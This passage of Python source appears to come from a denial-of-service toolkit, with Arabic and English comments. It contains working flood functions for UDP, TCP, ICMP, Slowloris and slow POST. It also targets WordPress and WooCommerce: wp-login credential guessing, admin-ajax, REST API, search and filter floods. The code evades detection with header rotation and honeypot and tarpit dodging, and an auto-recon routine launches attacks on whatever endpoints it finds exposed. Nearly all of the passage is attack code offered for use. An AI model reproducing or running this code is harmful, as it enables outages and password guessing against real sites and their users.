proxy_host = proxy_parts[0]
proxy_port = int(proxy_parts[1]) if len(proxy_parts) > 1 else 8080
if parsed.scheme == "https":
context = ssl.create_default_context()
conn = http.client.HTTPSConnection(proxy_host, proxy_port, timeout=timeout, context=context)
conn.set_tunnel(parsed.hostname, port)
else:
conn = http.client.HTTPConnection(proxy_host, proxy_port, timeout=timeout)
# For HTTP proxy, we need to send the full URL in the request line, which requires changing keepalive_http_request
# This basic implementation sets up the connection object
else:
if parsed.scheme == "https":
context = ssl.create_default_context()
conn = http.client.HTTPSConnection(parsed.hostname, port, timeout=timeout, context=context)
else:
conn = http.client.HTTPConnection(parsed.hostname, port, timeout=timeout)
conn.proxy = proxy
thread_local.conn = conn
return conn
def keepalive_http_request(url: str, method: str, payload: str, extra_headers: bool, timeout: int = 5, playwright_headers: dict = None, random_query: bool = False, app_mode: bool = False, identity: SessionIdentity = None):
url = normalize_http_url(url, app_mode, random_query)
parsed = urllib.parse.urlparse(url)
proxy = identity.proxy if identity else None
path = parsed.path or "/"
if parsed.query:
path += "?" + parsed.query
# If using HTTP proxy (not HTTPS tunnel), we need the full URL in the request line
if proxy and parsed.scheme == "http":
path = url
headers = build_http_headers(extra_headers, keepalive=True, playwright_headers=playwright_headers, identity=identity)
header_rotator = AdvancedHeaderRotator()
headers = header_rotator.get_obfuscated_headers(headers)
if parsed.hostname:
headers["Host"] = parsed.hostname
body = None
if method == "POST":
body = (payload or "message=payload").encode("utf-8")
headers["Content-Type"] = "application/x-www-form-urlencoded"
headers["Content-Length"] = str(len(body))
conn = _get_keepalive_connection(parsed, timeout, proxy=proxy)
start = time.monotonic()
try:
conn.request(method, path, body=body, headers=headers)
response = conn.getresponse()
resp_data = response.read()
elapsed = time.monotonic() - start
if _tarpit_detector.is_tarpitted(len(resp_data), elapsed):
return "TARPIT_DETECTED", elapsed
if app_mode and BS4_AVAILABLE and "text/html" in response.getheader("Content-Type", ""):
HoneypotEvader.extract_safe_links(resp_data)
status = response.status
return status, elapsed
except Exception as exc:
try:
conn.close()
except Exception:
pass
thread_local.conn = None
elapsed = time.monotonic() - start
return str(exc), elapsed
def http_request(url: str, method: str, payload: str, extra_headers: bool, timeout: int = 5, playwright_headers: dict = None, random_query: bool = False, app_mode: bool = False, identity: SessionIdentity = None, ai_payload: bool = False):
url = normalize_http_url(url, app_mode, random_query)
headers = build_http_headers(extra_headers, keepalive=False, playwright_headers=playwright_headers, identity=identity)
header_rotator = AdvancedHeaderRotator()
headers = header_rotator.get_obfuscated_headers(headers)
data = None
if method == "POST":
if ai_payload:
body = AIPayloadGenerator.generate_json_data(payload_type=random.choice(["login", "comment", "search"]))
headers["Content-Type"] = "application/json"
else:
body = payload or "message=payload"
headers["Content-Type"] = "application/x-www-form-urlencoded"
data = body.encode("utf-8")
headers["Content-Length"] = str(len(data))
opener = identity.opener if identity else urllib.request.build_opener()
request = build_request(url, method, headers, data)
start = time.monotonic()
try:
with opener.open(request, timeout=timeout) as response:
resp_data = response.read()
elapsed = time.monotonic() - start
if _tarpit_detector.is_tarpitted(len(resp_data), elapsed):
return "TARPIT_DETECTED", elapsed
if app_mode and BS4_AVAILABLE and "text/html" in response.headers.get("Content-Type", ""):
HoneypotEvader.extract_safe_links(resp_data)
return response.status, elapsed
except urllib.error.HTTPError as exc:
elapsed = time.monotonic() - start
return f"HTTP {exc.code}", elapsed
except Exception as exc:
elapsed = time.monotonic() - start
return str(exc), elapsed
def slow_http_post_request(url: str, payload: str, chunk_size: int, chunk_delay: float, extra_headers: bool, timeout: int = 10):
parsed = urllib.parse.urlparse(url)
host = parsed.hostname or "127.0.0.1"
port = parsed.port or (443 if parsed.scheme == "https" else 80)
path = parsed.path or "/"
if parsed.query:
path += "?" + parsed.query
headers = {
"Host": host,
"User-Agent": random.choice(USER_AGENTS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded",
}
if extra_headers:
headers["Cache-Control"] = "no-cache"
headers["Accept-Language"] = "en-US,en;q=0.9"
body = payload.encode("utf-8")
headers["Content-Length"] = str(len(body))
request_lines = [f"POST {path} HTTP/1.1"]
request_lines += [f"{name}: {value}" for name, value in headers.items()]
request_lines.append("Connection: close")
request_lines.append("")
raw_request = "\r\n".join(request_lines).encode("utf-8")
start = time.monotonic()
sock = socket.create_connection((host, port), timeout=timeout)
if parsed.scheme == "https":
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
sock.sendall(raw_request)
offset = 0
while offset < len(body):
chunk = body[offset:offset + chunk_size]
sock.sendall(chunk)
offset += len(chunk)
time.sleep(chunk_delay)
response = b""
try:
sock.settimeout(timeout)
while True:
data = sock.recv(4096)
if not data:
break
response += data
except socket.timeout:
pass
finally:
sock.close()
elapsed = time.monotonic() - start
return response.split(b" ")[1].decode("utf-8", errors="ignore") if b" " in response else "NO RESPONSE", elapsed
def xmlrpc_request(target: str, source: str, extra_headers: bool, timeout: int = 10):
proxy = xmlrpc.client.ServerProxy(target, allow_none=True)
start = time.monotonic()
try:
result = proxy.pingback(source, target)
elapsed = time.monotonic() - start
return result, elapsed
except Exception as exc:
elapsed = time.monotonic() - start
return str(exc), elapsed
def udp_fragment_flood(host: str, port: int, total_packets: int, packet_size: int, rate: float, duration: float, logger):
print(f"Starting UDP fragment flood: {host}:{port}, packets={total_packets}, size={packet_size}")
start_time = time.monotonic()
statuses = {}
packets_sent = 0
num_socks = min(16, os.cpu_count() or 4)
socks = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(num_socks)]
for s in socks:
try:
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1048576)
except Exception:
pass
while (duration and time.monotonic() < start_time + duration) or (not duration and packets_sent < total_packets):
try:
payload = os.urandom(packet_size)
sock = socks[packets_sent % num_socks]
sock.sendto(payload, (host, port))
statuses["sent"] = statuses.get("sent", 0) + 1
except Exception as exc:
statuses[str(exc)] = statuses.get(str(exc), 0) + 1
packets_sent += 1
if not duration and packets_sent >= total_packets:
break
for s in socks:
s.close()
elapsed = time.monotonic() - start_time
rps = packets_sent / elapsed if elapsed > 0 else 0
print(f"UDP fragment flood complete. Elapsed: {elapsed:.2f}s | Packets: {packets_sent} | PPS: {rps:.0f}")
def tcp_connection_single(host: str, port: int, send_payload: bool, timeout: int = 5):
start = time.monotonic()
sock = None
try:
sock = socket.create_connection((host, port), timeout=timeout)
if send_payload:
payload = f"GET / HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode()
sock.sendall(payload)
return "OK", time.monotonic() - start
except Exception as exc:
return str(exc), time.monotonic() - start
finally:
if sock is not None:
try:
sock.close()
except Exception:
pass
def tcp_connection_flood(host: str, port: int, total_connections: int, workers: int, send_payload: bool, rate: float, duration: float, logger):
if total_connections <= 0 and not duration:
total_connections = 100
print(f"Starting TCP connection flood: {host}:{port}, connections={total_connections}, workers={workers}")
start_time = time.monotonic()
statuses = {}
latencies = []
futures = []
interval = 1.0 / rate if rate and rate > 0 else 0.0
next_send = start_time
def submit_connection(executor):
return executor.submit(tcp_connection_single, host, port, send_payload)
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
if duration and duration > 0:
end_time = start_time + duration
attempts = 0
while time.monotonic() < end_time:
now = time.monotonic()
if rate and rate > 0 and now < next_send:
time.sleep(next_send - now)
continue
futures.append(submit_connection(executor))
attempts += 1
if rate and rate > 0:
next_send += interval
print(f"Submitted {attempts} connections in {duration:.1f}s")
else:
for _ in range(total_connections):
now = time.monotonic()
if rate and rate > 0 and now < next_send:
time.sleep(next_send - now)
futures.append(submit_connection(executor))
if rate and rate > 0:
next_send += interval
for future in concurrent.futures.as_completed(futures):
status, latency = future.result()
statuses[str(status)] = statuses.get(str(status), 0) + 1
if isinstance(latency, float):
latencies.append(latency)
elapsed = time.monotonic() - start_time
success_count = statuses.get("OK", 0)
error_count = sum(count for status, count in statuses.items() if status != "OK")
logger.info("TCP connection flood complete: %d connections, %d success, %d errors", sum(statuses.values()), success_count, error_count)
def udp_flood(host: str, port: int, total_packets: int, packet_size: int, rate: float, duration: float, logger):
print(f"Starting UDP flood: {host}:{port}, packets={total_packets}, size={packet_size}")
start_time = time.monotonic()
statuses = {}
packets_sent = 0
num_socks = min(32, os.cpu_count() or 4)
socks = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(num_socks)]
for s in socks:
try:
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1048576)
except Exception:
pass
while (duration and time.monotonic() < start_time + duration) or (not duration and packets_sent < total_packets):
try:
payload = os.urandom(packet_size)
sock = socks[packets_sent % num_socks]
sock.sendto(payload, (host, port))
statuses["sent"] = statuses.get("sent", 0) + 1
except Exception as exc:
statuses[str(exc)] = statuses.get(str(exc), 0) + 1
packets_sent += 1
if not duration and packets_sent >= total_packets:
break
for s in socks:
s.close()
elapsed = time.monotonic() - start_time
rps = packets_sent / elapsed if elapsed > 0 else 0
logger.info("UDP flood complete: %d packets, PPS: %.0f", packets_sent, rps)
def slowloris_attack(host: str, port: int, total_connections: int, rate: float, duration: float, logger):
print(f"Starting Slowloris: {host}:{port}, sockets={total_connections}")
start_time = time.monotonic()
sockets = []
failures = 0
run_duration = duration if duration and duration > 0 else 300
for _ in range(total_connections):
try:
sock = socket.create_connection((host, port), timeout=4)
sock.settimeout(None)
path = random.choice(["/", "/index.html", "/api", "/login", "/search"])
request = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: {random.choice(USER_AGENTS)}\r\n"
f"Accept: {random.choice(REALISTIC_ACCEPTS)}\r\n"
f"Accept-Language: en-US,en;q=0.9\r\n"
f"Connection: keep-alive\r\n"
f"Content-Length: 100000\r\n"
)
sock.sendall(request.encode("utf-8"))
sockets.append(sock)
except Exception:
failures += 1
print(f"[Slowloris] Phase 1: {len(sockets)} sockets opened ({failures} failed)")
keep_alive_round = 0
end_time = start_time + run_duration
while time.monotonic() < end_time and sockets:
keep_alive_round += 1
print(f"[Slowloris] Keep-alive round {keep_alive_round} | Active sockets: {len(sockets)}")
dead = []
for sock in sockets:
try:
header = f"X-Req-{random.randint(1,9999)}: {random.randint(1,9999)}\r\n"
sock.sendall(header.encode("utf-8"))
except Exception:
dead.append(sock)
for d in dead:
try:
d.close()
except Exception:
pass
sockets.remove(d)
refill = min(len(dead), total_connections - len(sockets))
for _ in range(refill):
try:
sock = socket.create_connection((host, port), timeout=4)
sock.settimeout(None)
path = random.choice(["/", "/index.html", "/api"])
request = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: {random.choice(USER_AGENTS)}\r\n"
f"Connection: keep-alive\r\n"
f"Content-Length: 100000\r\n"
)
sock.sendall(request.encode("utf-8"))
sockets.append(sock)
except Exception:
pass
time.sleep(random.uniform(10, 15))
for sock in sockets:
try:
sock.close()
except Exception:
pass
elapsed = time.monotonic() - start_time
print(f"Slowloris complete. Duration: {elapsed:.1f}s | Rounds: {keep_alive_round}")
def tcp_rst_single(host: str, port: int, timeout: int = 5):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((host, port))
linger = struct.pack("ii", 1, 0)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, linger)
sock.close()
return True
except Exception as exc:
return str(exc)
def tcp_rst_attack(host: str, port: int, total_connections: int, rate: float, duration: float, logger):
print(f"Starting TCP reset-style attack: {host}:{port}, attempts={total_connections}")
start_time = time.monotonic()
statuses = {}
attempts = 0
interval = 1.0 / rate if rate and rate > 0 else 0.0
next_send = start_time
while (duration and time.monotonic() < start_time + duration) or (not duration and attempts < total_connections):
now = time.monotonic()
if rate and rate > 0 and now < next_send:
time.sleep(next_send - now)
continue
result = tcp_rst_single(host, port)
status = "OK" if result is True else str(result)
statuses[status] = statuses.get(status, 0) + 1
attempts += 1
if rate and rate > 0:
next_send += interval
if not duration and attempts >= total_connections:
break
elapsed = time.monotonic() - start_time
logger.info("TCP reset-style attack complete: %d attempts", attempts)
# ============================================================================
# MISSING ATTACK VECTORS – FROM DDoS_Reference.html
# (Previously undocumented in this tool)
# ============================================================================
def icmp_flood(host: str, count: int = 10000, duration: float = 60.0):
"""ICMP Ping Flood – استنزاف النطاق الترددي عبر حزم Ping"""
import struct, socket, time, os
# Build ICMP Echo Request packet
def _checksum(data):
s = 0
for i in range(0, len(data), 2):
w = (data[i] << 8) + (data[i + 1] if i + 1 < len(data) else 0)
s = (s + w) & 0xFFFF
return ~s & 0xFFFF
def _build_icmp_packet():
header = struct.pack('!BBHHH', 8, 0, 0, os.getpid() & 0xFFFF, 1)
payload = b'X' * 56
chk = _checksum(header + payload)
header = struct.pack('!BBHHH', 8, 0, chk, os.getpid() & 0xFFFF, 1)
return header + payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except PermissionError:
print("[!] ICMP Flood requires Administrator/root privileges.")
return
packet = _build_icmp_packet()
sent = 0
start = time.monotonic()
print(f"[*] Starting ICMP Flood → {host} | duration={duration}s")
while time.monotonic() - start < duration and (count == 0 or sent < count):
try:
s.sendto(packet, (host, 0))
sent += 1
except Exception:
pass
s.close()
print(f"[✓] ICMP Flood done. Sent {sent} packets in {time.monotonic()-start:.1f}s")
def wp_login_flood(url: str, usernames: list = None, passwords: list = None,
workers: int = 100, duration: float = 60.0, logger=None):
"""
WordPress wp-login.php Brute-force / Resource Exhaustion.
يغرق صفحة تسجيل الدخول بطلبات POST مكثفة لاستنزاف موارد PHP وقاعدة البيانات.
"""
import requests as _req, threading, time, random
usernames = usernames or ["admin", "administrator", "user", "root", "test"]
passwords = passwords or ["password", "123456", "admin", "pass", "test123"]
login_url = url.rstrip("/") + "/wp-login.php"
stop_event = threading.Event()
counters = {"sent": 0, "ok": 0, "fail": 0}
lock = threading.Lock()
def _worker():
session = _req.Session()
session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"})
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
user = random.choice(usernames)
pwd = random.choice(passwords)
data = {"log": user, "pwd": pwd, "wp-submit": "Log In",
"redirect_to": "/wp-admin/", "testcookie": "1"}
try:
r = session.post(login_url, data=data, timeout=5, allow_redirects=False, verify=False)
with lock:
counters["sent"] += 1
if r.status_code in (200, 302):
counters["ok"] += 1
else:
counters["fail"] += 1
except Exception:
with lock:
counters["fail"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] WP-Login Flood done. Sent={counters['sent']} OK={counters['ok']} Fail={counters['fail']}"
print(msg)
if logger: logger.info(msg)
return counters
def cache_bypass_flood(url: str, workers: int = 200, duration: float = 60.0,
method: str = "GET", logger=None):
"""
Cache Bypass Attack – تجاوز التخزين المؤقت بإضافة متغيرات عشوائية للروابط.
يُجبر الخادم على توليد كل صفحة ديناميكياً من PHP وقاعدة البيانات.
"""
import requests as _req, threading, time, random, string
stop_event = threading.Event()
counters = {"sent": 0, "bypass": 0}
lock = threading.Lock()
def _random_param(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def _worker():
session = _req.Session()
headers = {"User-Agent": f"Mozilla/5.0 Cache-Bypass/{random.randint(1,9999)}",
"Cache-Control": "no-cache, no-store",
"Pragma": "no-cache"}
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
# Add random query params to bust cache
bypass_url = f"{url}?{_random_param()}={_random_param()}&nocache={random.randint(1,999999)}"
try:
r = session.request(method, bypass_url, headers=headers, timeout=5, verify=False)
with lock:
counters["sent"] += 1
if r.status_code < 400:
counters["bypass"] += 1
except Exception:
with lock:
counters["sent"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] Cache Bypass Flood done. Sent={counters['sent']} Bypassed={counters['bypass']}"
print(msg)
if logger: logger.info(msg)
return counters
def admin_ajax_flood(url: str, actions: list = None, workers: int = 150,
duration: float = 60.0, logger=None):
"""
WordPress admin-ajax.php Resource Exhaustion.
يغرق نقطة AJAX الديناميكية بطلبات تستنزف PHP وقاعدة البيانات.
"""
import requests as _req, threading, time, random
actions = actions or [
"heartbeat", "query-attachments", "fetch-list",
"wp-compression-test", "get-tagcloud", "nopriv_wc_get_refreshed_fragments"
]
ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
stop_event = threading.Event()
counters = {"sent": 0, "ok": 0}
lock = threading.Lock()
def _worker():
session = _req.Session()
session.headers.update({"User-Agent": "Mozilla/5.0", "X-Requested-With": "XMLHttpRequest"})
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
action = random.choice(actions)
try:
r = session.post(ajax_url, data={"action": action}, timeout=5, verify=False)
with lock:
counters["sent"] += 1
if r.status_code == 200:
counters["ok"] += 1
except Exception:
with lock:
counters["sent"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] Admin-Ajax Flood done. Sent={counters['sent']} OK={counters['ok']}"
print(msg)
if logger: logger.info(msg)
return counters
def wp_rest_api_flood(url: str, endpoints: list = None, workers: int = 100,
duration: float = 60.0, logger=None):
"""
WordPress REST API Flood – استنزاف /wp-json/ بطلبات ثقيلة.
يكشف المستخدمين ويُجبر قاعدة البيانات على استعلامات معقدة.
"""
import requests as _req, threading, time, random
endpoints = endpoints or [
"/wp-json/wp/v2/users",
"/wp-json/wp/v2/posts?per_page=100",
"/wp-json/wp/v2/pages?per_page=100",
"/wp-json/wp/v2/comments?per_page=100",
"/wp-json/wp/v2/categories",
"/wp-json/wp/v2/tags",
"/wp-json/wp/v2/media?per_page=100",
]
stop_event = threading.Event()
counters = {"sent": 0, "ok": 0}
lock = threading.Lock()
def _worker():
session = _req.Session()
session.headers.update({"User-Agent": "Mozilla/5.0", "Accept": "application/json"})
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
ep = random.choice(endpoints)
target = url.rstrip("/") + ep
try:
r = session.get(target, timeout=8, verify=False)
with lock:
counters["sent"] += 1
if r.status_code == 200:
counters["ok"] += 1
except Exception:
with lock:
counters["sent"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] WP REST API Flood done. Sent={counters['sent']} OK={counters['ok']}"
print(msg)
if logger: logger.info(msg)
return counters
def wp_search_flood(url: str, workers: int = 150, duration: float = 60.0,
word_length: int = 20, logger=None):
"""
WordPress Search Flood – إغراق /?s= بكلمات بحث عشوائية ومعقدة.
يُنتج استعلامات LIKE ثقيلة على MySQL مما يؤدي لانهيار قاعدة البيانات.
"""
import requests as _req, threading, time, random, string
stop_event = threading.Event()
counters = {"sent": 0, "ok": 0}
lock = threading.Lock()
def _random_word(length):
# Generate complex search terms that produce heavy DB queries
chars = string.ascii_letters + string.digits + " "
return ''.join(random.choices(chars, k=length))
def _worker():
session = _req.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
keyword = _random_word(random.randint(10, word_length))
search_url = f"{url.rstrip('/')}/?s={keyword.replace(' ', '+')}"
try:
r = session.get(search_url, timeout=8, verify=False)
with lock:
counters["sent"] += 1
if r.status_code == 200:
counters["ok"] += 1
except Exception:
with lock:
counters["sent"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] WP Search Flood done. Sent={counters['sent']} OK={counters['ok']}"
print(msg)
if logger: logger.info(msg)
return counters
def woocommerce_filter_flood(url: str, workers: int = 100, duration: float = 60.0,
logger=None):
"""
WooCommerce Filter Exhaustion – استنزاف صفحات فلترة المنتجات.
يُولّد استعلامات SQL معقدة تُجهد قاعدة البيانات.
"""
import requests as _req, threading, time, random
stop_event = threading.Event()
counters = {"sent": 0}
lock = threading.Lock()
categories = ["clothing", "electronics", "shoes", "bags", "accessories", "sale"]
orderby = ["price", "price-desc", "popularity", "rating", "date", "rand"]
shop_paths = ["/shop/", "/store/", "/products/"]
def _worker():
session = _req.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
path = random.choice(shop_paths)
cat = random.choice(categories)
order = random.choice(orderby)
min_p = random.randint(0, 500)
max_p = random.randint(min_p + 1, 5000)
per = random.choice([12, 24, 48, 96])
target = (f"{url.rstrip('/')}{path}?min_price={min_p}&max_price={max_p}"
f"&orderby={order}&product_cat={cat}&per_page={per}"
f"&paged={random.randint(1,20)}")
try:
session.get(target, timeout=8, verify=False)
with lock:
counters["sent"] += 1
except Exception:
with lock:
counters["sent"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] WooCommerce Filter Flood done. Sent={counters['sent']}"
print(msg)
if logger: logger.info(msg)
return counters
def heartbeat_api_flood(url: str, workers: int = 100, duration: float = 60.0,
nonce: str = "", logger=None):
"""
WordPress Heartbeat API Abuse – محاكاة طلبات Heartbeat المكثفة.
يستنزف موارد PHP عبر admin-ajax.php?action=heartbeat.
"""
import requests as _req, threading, time, json as _json
ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
stop_event = threading.Event()
counters = {"sent": 0, "ok": 0}
lock = threading.Lock()
def _worker():
session = _req.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
})
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
payload = {"action": "heartbeat", "interval": "15"}
if nonce:
payload["_nonce"] = nonce
try:
r = session.post(ajax_url, data=payload, timeout=5, verify=False)
with lock:
counters["sent"] += 1
if r.status_code == 200:
counters["ok"] += 1
except Exception:
with lock:
counters["sent"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] Heartbeat API Flood done. Sent={counters['sent']} OK={counters['ok']}"
print(msg)
if logger: logger.info(msg)
return counters
def well_known_flood(host: str, paths: list = None, workers: int = 100,
duration: float = 60.0, logger=None):
"""
.well-known Directory Attack – إغراق مسارات .well-known بطلبات عشوائية.
يستنزف PHP عبر معالجة طلبات 404 ديناميكياً بدلاً من Static responses.
"""
import requests as _req, threading, time, random, string
stop_event = threading.Event()
counters = {"sent": 0, "info_leaked": 0}
lock = threading.Lock()
# Known .well-known paths + random enumeration
known_paths = paths or [
"/.well-known/acme-challenge/",
"/.well-known/security.txt",
"/.well-known/openid-configuration",
"/.well-known/change-password",
"/.well-known/apple-app-site-association",
"/.well-known/assetlinks.json",
"/.well-known/dnt-policy.txt",
"/.well-known/webfinger",
"/.well-known/mta-sts.txt",
]
def _random_path(length=12):
return ''.join(random.choices(string.ascii_lowercase + string.digits + '-', k=length))
def _worker():
session = _req.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
base = host.rstrip("/")
start = time.monotonic()
while not stop_event.is_set() and time.monotonic() - start < duration:
# Mix known paths with random enumeration
if random.random() < 0.4:
path = random.choice(known_paths)
else:
path = f"/.well-known/{_random_path()}"
try:
r = session.get(base + path, timeout=5, verify=False)
with lock:
counters["sent"] += 1
# If we get 200 on known paths → info leak
if r.status_code == 200 and path in known_paths:
counters["info_leaked"] += 1
print(f"[!] Info Leak: {base + path} → {len(r.text)} bytes")
except Exception:
with lock:
counters["sent"] += 1
threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)]
for t in threads: t.start()
time.sleep(duration)
stop_event.set()
for t in threads: t.join(timeout=2)
msg = f"[✓] .well-known Flood done. Sent={counters['sent']} InfoLeaks={counters['info_leaked']}"
print(msg)
if logger: logger.info(msg)
return counters
# ============================================================================
# WORDPRESS AUTO-RECON + AUTO-ATTACK INTEGRATION
# ============================================================================
def wordpress_recon_and_attack(
url: str,
attack: bool = True,
workers: int = 100,
duration: float = 60.0,
logger=None
) -> dict:
"""
Auto Recon → Auto Attack Integration.
المرحلة 1: Probe — يفحص الموقع ويكتشف النقاط المكشوفة.
المرحلة 2: Report — يطبع جدول بالنتائج.
المرحلة 3: Attack — يهاجم النقاط المكشوفة فقط (إذا attack=True).
:param url: الرابط الكامل للموقع مثل https://example.com
:param attack: True = يهاجم بعد الفحص | False = فحص فقط بدون هجوم
:param workers: عدد Threads لكل هجوم
:param duration: مدة كل هجوم بالثواني
:param logger: Logger موحد مع بقية الأداة
:return: dict يحتوي على نتائج الفحص وإحصائيات الهجوم
"""
import requests as _req, threading, time
base = url.rstrip("/")
session = _req.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/xhtml+xml,*/*",
})
session.verify = False
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
# Phase 1: RECONNAISSANCE
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
print("\n" + "=" * 60)
print(f" 🔍 WordPress Auto-Recon → {base}")
print("=" * 60)
probes = {
"xmlrpc" : f"{base}/xmlrpc.php",
"wp_login" : f"{base}/wp-login.php",
"admin_ajax" : f"{base}/wp-admin/admin-ajax.php",
"rest_api" : f"{base}/wp-json/wp/v2/users",
"rest_posts" : f"{base}/wp-json/wp/v2/posts?per_page=100",
"search" : f"{base}/?s=test",
"woocommerce" : f"{base}/shop/",
"heartbeat" : f"{base}/wp-admin/admin-ajax.php",
"well_known" : f"{base}/.well-known/security.txt",
"acme_challenge": f"{base}/.well-known/acme-challenge/",
"openid" : f"{base}/.well-known/openid-configuration",
"cache_test" : f"{base}/?nocache_probe=1&rand=99999",
}
results = {}
exposed = []
# Probe each endpoint
for name, probe_url in probes.items():
try:
r = session.get(probe_url, timeout=6, allow_redirects=True)
sc = r.status_code
size = len(r.content)
# Determine exposure level
if name == "xmlrpc" and sc in (200, 405):
status = "🔴 EXPOSED"
exposed.append(name)
elif name == "wp_login" and sc == 200:
status = "🔴 EXPOSED"
exposed.append(name)
elif name == "admin_ajax" and sc == 200 and "0" in r.text:
status = "🟡 ACCESSIBLE"
exposed.append(name)
elif name == "rest_api" and sc == 200 and "[" in r.text:
status = "🔴 USERS LEAKED"
exposed.append(name)
elif name == "rest_posts" and sc == 200:
status = "🟡 ACCESSIBLE"
exposed.append(name)
elif name == "search" and sc == 200 and "search" in r.text.lower():
status = "🟡 ACCESSIBLE"
exposed.append(name)
elif name == "woocommerce" and sc == 200:
status = "🟡 ACCESSIBLE"
exposed.append(name)
elif name == "heartbeat":
status = "🟡 ACCESSIBLE"
exposed.append(name)
elif name == "well_known" and sc == 200:
status = "🟡 INFO LEAK"
exposed.append(name)
elif name == "acme_challenge" and sc in (200, 403, 404):
status = "🟡 EXISTS"
exposed.append(name)
elif name == "openid" and sc == 200:
status = "🔴 CONFIG EXPOSED"
exposed.append(name)
elif name == "cache_test" and sc == 200:
status = "🟡 CACHEABLE? CHECK"
exposed.append(name)
else:
status = f"✅ CLOSED ({sc})"
results[name] = {"url": probe_url, "status_code": sc, "size": size, "verdict": status}
print(f" {'%-16s' % name} {status} [{sc}] ({size}b) → {probe_url}")
except Exception as e:
results[name] = {"url": probe_url, "status_code": 0, "size": 0, "verdict": "⚪ UNREACHABLE"}
print(f" {'%-16s' % name} ⚪ UNREACHABLE → {e}")
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
# Phase 2: REPORT
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
print("\n" + "=" * 60)
print(f" 📋 RECON SUMMARY — Exposed: {len(exposed)}/{len(probes)}")
print("=" * 60)
if not exposed:
print(" ✅ No exposed endpoints found. Site appears hardened.")
return {"results": results, "exposed": [], "attacks": {}}
print(f" Exposed endpoints: {', '.join(exposed)}")
if not attack:
print(" [i] attack=False — Recon only, no attack launched.")
return {"results": results, "exposed": exposed, "attacks": {}}
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
# Phase 3: TARGETED ATTACK
# ── ── ── ── ── ── ── ── ── ── ── ── ── ──
print(f"\n 🚀 Launching targeted attacks on {len(exposed)} exposed endpoint(s)...")
print(f" Workers: {workers} | Duration: {duration}s each")
print("=" * 60)
# Attack dispatch map
attack_map = {
"xmlrpc" : lambda: xmlrpc_request(base, base, extra_headers=True, timeout=10),
"wp_login" : lambda: wp_login_flood(base, workers=workers, duration=duration, logger=logger),
"admin_ajax" : lambda: admin_ajax_flood(base, workers=workers, duration=duration, logger=logger),
"rest_api" : lambda: wp_rest_api_flood(base, workers=workers, duration=duration, logger=logger),
"rest_posts" : lambda: wp_rest_api_flood(base, workers=workers, duration=duration, logger=logger),
"search" : lambda: wp_search_flood(base, workers=workers, duration=duration, logger=logger),
"woocommerce" : lambda: woocommerce_filter_flood(base, workers=workers, duration=duration, logger=logger),
"heartbeat" : lambda: heartbeat_api_flood(base, workers=workers, duration=duration, logger=logger),
"well_known" : lambda: well_known_flood(base, workers=workers, duration=duration, logger=logger),
"acme_challenge": lambda: well_known_flood(
base,
paths=["/.well-known/acme-challenge/"],
workers=workers, duration=duration, logger=logger
),
"openid" : lambda: well_known_flood(
